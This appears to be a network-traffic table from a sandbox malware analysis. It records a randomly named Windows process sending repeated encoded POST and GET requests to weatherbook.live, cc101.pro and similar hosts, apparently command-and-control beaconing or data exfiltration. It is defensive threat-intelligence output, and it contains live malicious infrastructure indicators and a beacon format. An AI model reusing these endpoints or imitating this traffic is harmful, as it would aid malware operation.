Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:44:54.016280890 CEST	541	OUT	GET /ezjb/?gHCXmDU=l3Sp86LdHQK51JyE1bYSLRwrZz79eLj2OPa9S2eacvhOVgE1mplOojXymOZ9YDGfggwACbk9WjYrzuHmvoZIXyGwVLnNH3EmPti700Sf3mBkVqNnJJuO7TSqISvYzPtlzQ==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.bqberw.vip Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:44:54.473778963 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 16:44:54 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 67 48 43 58 6d 44 55 3d 6c 33 53 70 38 36 4c 64 48 51 4b 35 31 4a 79 45 31 62 59 53 4c 52 77 72 5a 7a 37 39 65 4c 6a 32 4f 50 61 39 53 32 65 61 63 76 68 4f 56 67 45 31 6d 70 6c 4f 6f 6a 58 79 6d 4f 5a 39 59 44 47 66 67 67 77 41 43 62 6b 39 57 6a 59 72 7a 75 48 6d 76 6f 5a 49 58 79 47 77 56 4c 6e 4e 48 33 45 6d 50 74 69 37 30 30 53 66 33 6d 42 6b 56 71 4e 6e 4a 4a 75 4f 37 54 53 71 49 53 76 59 7a 50 74 6c 7a 51 3d 3d 26 47 68 39 3d 67 38 75 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?gHCXmDU=l3Sp86LdHQK51JyE1bYSLRwrZz79eLj2OPa9S2eacvhOVgE1mplOojXymOZ9YDGfggwACbk9WjYrzuHmvoZIXyGwVLnNH3EmPti700Sf3mBkVqNnJJuO7TSqISvYzPtlzQ==&Gh9=g8u8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:44:59.522563934 CEST	815	OUT	POST /0fox/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.weatherbook.live Origin: http://www.weatherbook.live Referer: http://www.weatherbook.live/0fox/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 31 41 62 71 73 47 53 57 76 6a 56 48 50 61 4d 45 49 6d 4c 64 52 6a 5a 35 44 56 37 42 77 57 69 49 76 30 54 7a 4a 31 57 42 74 79 76 46 33 7a 45 41 45 73 32 63 6b 43 46 58 4f 33 74 78 2b 57 6e 32 47 4a 2f 51 37 38 4c 50 45 6b 46 4f 57 56 2b 30 61 79 4a 54 41 73 33 68 6c 52 44 36 65 4e 63 4e 63 45 71 6f 62 2f 56 6d 68 2f 4c 2f 53 37 49 49 73 51 31 30 76 58 76 6d 64 70 6d 71 35 69 66 6d 34 4a 37 37 70 39 4e 5a 74 6e 54 42 73 53 5a 64 6f 2b 63 78 55 30 6a 37 4e 51 73 74 66 73 68 50 37 4e 4e 6d 7a 32 2f 71 6e 78 69 50 58 6e 48 7a 65 4e 6b 4b 65 50 66 4f 48 65 41 6c 57 53 42 75 77 68 46 6a 33 6f 67 3d Data Ascii: gHCXmDU=1AbqsGSWvjVHPaMEImLdRjZ5DV7BwWiIv0TzJ1WBtyvF3zEAEs2ckCFXO3tx+Wn2GJ/Q78LPEkFOWV+0ayJTAs3hlRD6eNcNcEqob/Vmh/L/S7IIsQ10vXvmdpmq5ifm4J77p9NZtnTBsSZdo+cxU0j7NQstfshP7NNmz2/qnxiPXnHzeNkKePfOHeAlWSBuwhFj3og=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:02.067527056 CEST	835	OUT	POST /0fox/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.weatherbook.live Origin: http://www.weatherbook.live Referer: http://www.weatherbook.live/0fox/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 31 41 62 71 73 47 53 57 76 6a 56 48 50 36 63 45 50 42 66 64 5a 6a 5a 34 4d 31 37 42 36 32 6a 44 76 30 50 7a 4a 33 36 52 74 41 4c 46 33 57 6f 41 48 74 32 63 70 69 46 58 61 6e 74 77 6a 6d 6e 39 47 4a 44 32 37 2b 66 50 45 67 56 4f 57 51 43 30 61 42 52 55 42 38 33 6a 70 78 44 38 44 39 63 4e 63 45 71 6f 62 2f 51 4e 68 38 37 2f 53 49 67 49 74 31 4a 33 78 48 76 35 4c 35 6d 71 39 69 66 36 34 4a 36 65 70 38 52 7a 74 68 58 42 73 54 70 64 6f 71 49 32 4e 45 6a 68 44 77 74 68 58 35 38 6b 6c 63 4e 4e 2b 48 32 35 32 41 53 77 66 78 71 5a 45 76 73 69 4e 76 7a 32 58 4e 49 53 48 69 67 48 71 43 56 54 70 2f 33 32 68 7a 6b 50 35 41 52 6e 57 58 75 78 33 43 66 61 6c 38 71 57 Data Ascii: gHCXmDU=1AbqsGSWvjVHP6cEPBfdZjZ4M17B62jDv0PzJ36RtALF3WoAHt2cpiFXantwjmn9GJD27+fPEgVOWQC0aBRUB83jpxD8D9cNcEqob/QNh87/SIgIt1J3xHv5L5mq9if64J6ep8RzthXBsTpdoqI2NEjhDwthX58klcNN+H252ASwfxqZEvsiNvz2XNISHigHqCVTp/32hzkP5ARnWXux3Cfal8qW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:04.614773035 CEST	1852	OUT	POST /0fox/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.weatherbook.live Origin: http://www.weatherbook.live Referer: http://www.weatherbook.live/0fox/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 31 41 62 71 73 47 53 57 76 6a 56 48 50 36 63 45 50 42 66 64 5a 6a 5a 34 4d 31 37 42 36 32 6a 44 76 30 50 7a 4a 33 36 52 74 41 44 46 33 45 67 41 46 4f 75 63 6f 69 46 58 46 58 74 31 6a 6d 6e 61 47 4a 62 71 37 2b 43 30 45 69 64 4f 58 31 4f 30 63 77 52 55 4f 38 33 6a 30 68 44 35 65 4e 64 5a 63 45 37 6a 62 2f 41 4e 68 38 37 2f 53 4e 6b 49 71 67 31 33 7a 48 76 6d 64 70 6d 2b 35 69 66 65 34 4a 69 6f 70 2f 39 4a 34 42 33 42 70 44 35 64 75 5a 67 32 46 45 6a 2f 54 67 73 38 58 35 34 37 6c 63 52 72 2b 48 44 69 32 48 6d 77 63 6b 72 47 58 4f 67 2b 4f 63 54 53 48 4e 35 75 61 30 35 6b 6a 53 55 6b 6c 49 58 76 69 78 38 4d 33 55 52 64 61 31 76 4a 32 45 4b 4e 73 34 37 62 4e 6f 70 74 78 34 2f 55 78 7a 2f 78 69 68 4a 30 72 67 71 38 4f 70 77 79 52 36 6f 52 42 39 70 73 65 58 47 78 51 34 79 30 38 78 6b 46 6e 2f 68 68 6c 65 44 7a 37 79 72 67 77 77 63 6b 6c 35 48 72 37 34 6b 6a 68 6e 77 46 75 33 4e 2f 70 43 4b 61 2f 68 73 33 4e 70 30 78 64 79 70 6b 53 36 30 67 76 6c 66 53 38 30 70 6e 30 35 36 54 56 75 [TRUNCATED] Data Ascii: gHCXmDU=1AbqsGSWvjVHP6cEPBfdZjZ4M17B62jDv0PzJ36RtADF3EgAFOucoiFXFXt1jmnaGJbq7+C0EidOX1O0cwRUO83j0hD5eNdZcE7jb/ANh87/SNkIqg13zHvmdpm+5ife4Jiop/9J4B3BpD5duZg2FEj/Tgs8X547lcRr+HDi2HmwckrGXOg+OcTSHN5ua05kjSUklIXvix8M3URda1vJ2EKNs47bNoptx4/Uxz/xihJ0rgq8OpwyR6oRB9pseXGxQ4y08xkFn/hhleDz7yrgwwckl5Hr74kjhnwFu3N/pCKa/hs3Np0xdypkS60gvlfS80pn056TVu/pmX/urgG59GjaqGbat0vWMaNQ1ST8ZP9kra4uA568h/RnscmJzuSIG/iijzzsCfo+N/n34PLFSSuQ+oTv3y51prL4XJB5MME8K0uNkxQbWHotScLnINuUaEsSTNoBynwfeUGAm5UiQumrhYZSR0YEiIs4jQV5YZoaa6mq05JGlh090Apzh4MB93Lhuic1+HzjTUgK6YBFE5px64AVFxO4/zBU9WP72Y1LJqmePXaOcXv1NAoU+5a/t013f+xLa89CI+ToPTSNqO77yAT2lh7uKwgT3I6XI0qLiAYh0T/3WMZUarQCXXjYj8RO5RJ2fVehWmkxtwxTYHfI/ULXdOQsMRJih9SRaXy9s2utvWsiVD+an5Qh+XhEBHSB57k1+2l97XjJ5WeSx7laNVO+qXQOGzkUK49FaEAt0Oo1QcOx8S2u0QrGWB3ssPo9VGvbx2w1msF0Ub+wChzdHs4SR5Vz3E0ut+x4FN3JW3m2ecbQu5fUSHN2/cgd/4IXQc7C52jS9s9zqWJ4r6+XESsS8dgBX7NuKD7OCiF9o0hin9DqFlpyP9Bmf2iKKVJTuGL/vZ3Jy2Mw0Hwz9tXqu/HANp7s5B8ErDAEYRqD1GRCo5dksjZAG4O2/b7A+pCgPgQjbROFlw23LdM+8P2Wk5vBLDjWGtRznLhjd4pF [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:07.160469055 CEST	547	OUT	GET /0fox/?Gh9=g8u8&gHCXmDU=4CzKvyikl1JmGr8+CQf9WWAdO1Gj6lWNmDPUBHudsRDXm35ePvWJknN1Cj9rj3LGeee2ucHQDjkFWVqRWStwJougsDrkF+FnKnugc/NP5deCT95MsghdxHCGfuWAxmiXjA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.weatherbook.live Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:45:08.252270937 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 16:45:07 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 68 39 3d 67 38 75 38 26 67 48 43 58 6d 44 55 3d 34 43 7a 4b 76 79 69 6b 6c 31 4a 6d 47 72 38 2b 43 51 66 39 57 57 41 64 4f 31 47 6a 36 6c 57 4e 6d 44 50 55 42 48 75 64 73 52 44 58 6d 33 35 65 50 76 57 4a 6b 6e 4e 31 43 6a 39 72 6a 33 4c 47 65 65 65 32 75 63 48 51 44 6a 6b 46 57 56 71 52 57 53 74 77 4a 6f 75 67 73 44 72 6b 46 2b 46 6e 4b 6e 75 67 63 2f 4e 50 35 64 65 43 54 39 35 4d 73 67 68 64 78 48 43 47 66 75 57 41 78 6d 69 58 6a 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Gh9=g8u8&gHCXmDU=4CzKvyikl1JmGr8+CQf9WWAdO1Gj6lWNmDPUBHudsRDXm35ePvWJknN1Cj9rj3LGeee2ucHQDjkFWVqRWStwJougsDrkF+FnKnugc/NP5deCT95MsghdxHCGfuWAxmiXjA=="}</script></head></html>
Sep 30, 2024 18:45:08.252393961 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 16:45:07 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 68 39 3d 67 38 75 38 26 67 48 43 58 6d 44 55 3d 34 43 7a 4b 76 79 69 6b 6c 31 4a 6d 47 72 38 2b 43 51 66 39 57 57 41 64 4f 31 47 6a 36 6c 57 4e 6d 44 50 55 42 48 75 64 73 52 44 58 6d 33 35 65 50 76 57 4a 6b 6e 4e 31 43 6a 39 72 6a 33 4c 47 65 65 65 32 75 63 48 51 44 6a 6b 46 57 56 71 52 57 53 74 77 4a 6f 75 67 73 44 72 6b 46 2b 46 6e 4b 6e 75 67 63 2f 4e 50 35 64 65 43 54 39 35 4d 73 67 68 64 78 48 43 47 66 75 57 41 78 6d 69 58 6a 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Gh9=g8u8&gHCXmDU=4CzKvyikl1JmGr8+CQf9WWAdO1Gj6lWNmDPUBHudsRDXm35ePvWJknN1Cj9rj3LGeee2ucHQDjkFWVqRWStwJougsDrkF+FnKnugc/NP5deCT95MsghdxHCGfuWAxmiXjA=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49721	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:14.011528969 CEST	794	OUT	POST /9apq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.cc101.pro Origin: http://www.cc101.pro Referer: http://www.cc101.pro/9apq/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 47 46 4c 6a 41 31 56 45 39 45 72 79 45 31 76 64 56 67 76 48 65 54 66 4d 68 53 4f 54 42 46 2f 6a 56 36 78 58 73 6d 64 57 58 30 7a 56 43 4e 66 48 4a 69 4f 65 57 73 4f 49 57 43 69 58 41 4a 37 79 66 74 4f 67 65 70 36 6d 37 59 71 69 43 71 4b 55 47 71 58 33 71 65 4a 69 35 69 49 6c 42 38 4a 2b 46 44 55 4f 54 46 7a 68 53 66 7a 35 74 4c 43 78 79 2b 33 49 63 6b 7a 44 34 39 75 67 78 78 69 65 41 73 6b 65 4e 46 46 31 53 70 45 7a 35 58 67 74 45 65 72 79 75 44 33 34 43 69 31 47 34 4f 37 72 53 39 31 69 4c 64 6b 31 44 31 67 79 58 6e 35 44 38 69 55 70 37 46 6b 70 50 75 7a 52 59 58 69 61 41 69 63 67 37 2f 77 3d Data Ascii: gHCXmDU=GFLjA1VE9EryE1vdVgvHeTfMhSOTBF/jV6xXsmdWX0zVCNfHJiOeWsOIWCiXAJ7yftOgep6m7YqiCqKUGqX3qeJi5iIlB8J+FDUOTFzhSfz5tLCxy+3IckzD49ugxxieAskeNFF1SpEz5XgtEeryuD34Ci1G4O7rS91iLdk1D1gyXn5D8iUp7FkpPuzRYXiaAicg7/w=
Sep 30, 2024 18:45:16.318583965 CEST	690	IN	HTTP/1.1 405 Not Allowed Date: Mon, 30 Sep 2024 16:45:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0aMxMBIN5eM1IQKmyDGiikIFEKp9PjhRlcFRMHx8UCRuT2W45rY1t4fl%2FylM1NBhvEKnIUQDIHwUhE40YGvf3RzoEI%2Bw1CdJF1YkTcloBr90gHbMTnVBlFHaODHZh8FZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb5aea5296f7cae-EWR Data Raw: 39 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 95<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0
Sep 30, 2024 18:45:16.320951939 CEST	690	IN	HTTP/1.1 405 Not Allowed Date: Mon, 30 Sep 2024 16:45:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0aMxMBIN5eM1IQKmyDGiikIFEKp9PjhRlcFRMHx8UCRuT2W45rY1t4fl%2FylM1NBhvEKnIUQDIHwUhE40YGvf3RzoEI%2Bw1CdJF1YkTcloBr90gHbMTnVBlFHaODHZh8FZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb5aea5296f7cae-EWR Data Raw: 39 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0a 0a 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 95<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49722	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:16.621462107 CEST	814	OUT	POST /9apq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.cc101.pro Origin: http://www.cc101.pro Referer: http://www.cc101.pro/9apq/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 47 46 4c 6a 41 31 56 45 39 45 72 79 46 56 66 64 47 44 48 48 59 7a 66 44 75 79 4f 54 62 31 2f 64 56 36 74 58 73 69 45 4a 58 6d 6e 56 43 76 48 48 49 67 6d 65 52 73 4f 49 5a 69 69 65 50 70 37 73 66 74 43 47 65 6f 57 6d 37 59 2b 69 43 76 75 55 47 5a 76 6f 72 4f 4a 38 32 43 49 6e 4c 63 4a 2b 46 44 55 4f 54 45 44 59 53 66 37 35 74 36 79 78 30 64 76 50 44 55 7a 43 2f 39 75 67 31 78 69 61 41 73 6b 6f 4e 48 78 54 53 73 59 7a 35 54 73 74 45 4d 54 78 6b 44 33 2b 4e 43 31 59 2b 76 61 34 56 65 39 77 58 50 77 78 52 46 67 56 62 78 55 70 6d 41 63 42 6f 6c 49 52 66 39 37 6d 4a 6e 44 7a 61 42 4d 51 6c 6f 6c 31 4d 66 4b 6d 53 49 55 59 4a 57 38 45 42 53 56 66 4b 75 61 63 Data Ascii: gHCXmDU=GFLjA1VE9EryFVfdGDHHYzfDuyOTb1/dV6tXsiEJXmnVCvHHIgmeRsOIZiiePp7sftCGeoWm7Y+iCvuUGZvorOJ82CInLcJ+FDUOTEDYSf75t6yx0dvPDUzC/9ug1xiaAskoNHxTSsYz5TstEMTxkD3+NC1Y+va4Ve9wXPwxRFgVbxUpmAcBolIRf97mJnDzaBMQlol1MfKmSIUYJW8EBSVfKuac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49723	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:19.166954994 CEST	1831	OUT	POST /9apq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.cc101.pro Origin: http://www.cc101.pro Referer: http://www.cc101.pro/9apq/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 47 46 4c 6a 41 31 56 45 39 45 72 79 46 56 66 64 47 44 48 48 59 7a 66 44 75 79 4f 54 62 31 2f 64 56 36 74 58 73 69 45 4a 58 6d 2f 56 43 38 50 48 49 47 75 65 51 73 4f 49 55 43 69 62 50 70 36 77 66 74 4b 43 65 6f 4b 59 37 62 47 69 45 4a 69 55 41 73 44 6f 69 4f 4a 38 75 43 49 71 42 38 4a 72 46 46 30 52 54 46 2f 59 53 66 37 35 74 35 61 78 7a 4f 33 50 51 45 7a 44 34 39 76 68 78 78 6a 2f 41 76 56 64 4e 48 31 6c 53 59 55 7a 35 33 41 74 49 66 72 78 35 54 33 38 4b 43 30 4c 2b 76 58 67 56 65 52 38 58 4f 46 63 52 48 67 56 5a 6b 35 4b 33 41 49 68 79 6b 49 58 61 4e 72 38 52 67 2f 6a 54 68 45 71 76 71 46 72 48 72 44 4d 53 2b 73 67 4a 31 31 33 62 32 39 66 43 49 7a 67 32 70 56 6a 41 6f 37 42 4a 75 38 53 49 4d 4e 6b 6c 56 4a 65 6b 32 55 4e 58 66 38 59 59 58 66 45 38 6f 6e 64 34 59 5a 71 79 55 35 37 51 61 5a 34 4e 58 6a 31 4b 43 4e 70 75 52 45 6c 65 4c 38 48 33 75 71 41 6e 65 69 4b 54 65 4b 58 51 72 47 6e 77 69 59 6e 32 62 50 56 66 44 67 43 63 33 62 52 45 74 54 49 68 73 32 51 58 6f 2f 4c 69 67 [TRUNCATED] Data Ascii: gHCXmDU=GFLjA1VE9EryFVfdGDHHYzfDuyOTb1/dV6tXsiEJXm/VC8PHIGueQsOIUCibPp6wftKCeoKY7bGiEJiUAsDoiOJ8uCIqB8JrFF0RTF/YSf75t5axzO3PQEzD49vhxxj/AvVdNH1lSYUz53AtIfrx5T38KC0L+vXgVeR8XOFcRHgVZk5K3AIhykIXaNr8Rg/jThEqvqFrHrDMS+sgJ113b29fCIzg2pVjAo7BJu8SIMNklVJek2UNXf8YYXfE8ond4YZqyU57QaZ4NXj1KCNpuREleL8H3uqAneiKTeKXQrGnwiYn2bPVfDgCc3bREtTIhs2QXo/LigHDdKFrH4l03OOGPRPxB0dU5P8+ETglBklfsDckoHxgdf/aBxTRYDhdvrVQKMC7YCbg56pxFL04bPRcZa9sgPCn4MlxFkBVm+MHT9cQ8Bvdn/5O4JHyH7avpJKujG6gc7I5JWQ13WrSrbXrhJu6E01RbJyBrmO8OT25qiq7bMTdEPo8nsGWHhn2rPtbbWLfADUKhsrlKzzbiTlAZ1l0zy2JM5P4Qrr7LVXk0wTPRfl1AXU2Xp5vqrp/vES2T/RfIwXxp9K8GeFHzNar0Z1pSzriW7exYw27VJ1A/1R3UwEh/IxnLoCRIXRDLmY/e+b5o6REAMDC8A/A0dXfOQJKhExQaOxij8zqu/SADuWtKn80J1naSe/y3yHitVpwa0txvIeEB1dbvgLJJ0N1GKW4tKeMr85/9BRK2DxlfsiEVFr1Jlbiw5aDEuW3iEcHOxxGKEOtbL2sxKfGlY3jYTixqZe4lkNdrGAYXTO4D9DNPNLCXk7kc6QC66gQ/omLsbweI3OH9xW5KwCnF3IOFyo4nV6LuN9e+F573wNcrCyk/4PsDHMmBSaJdRi5/x0K2smFN8cNOWJjUcRmgLYdTHTEUYjiVntHrsn80h9a7cGTtyKOTs5hh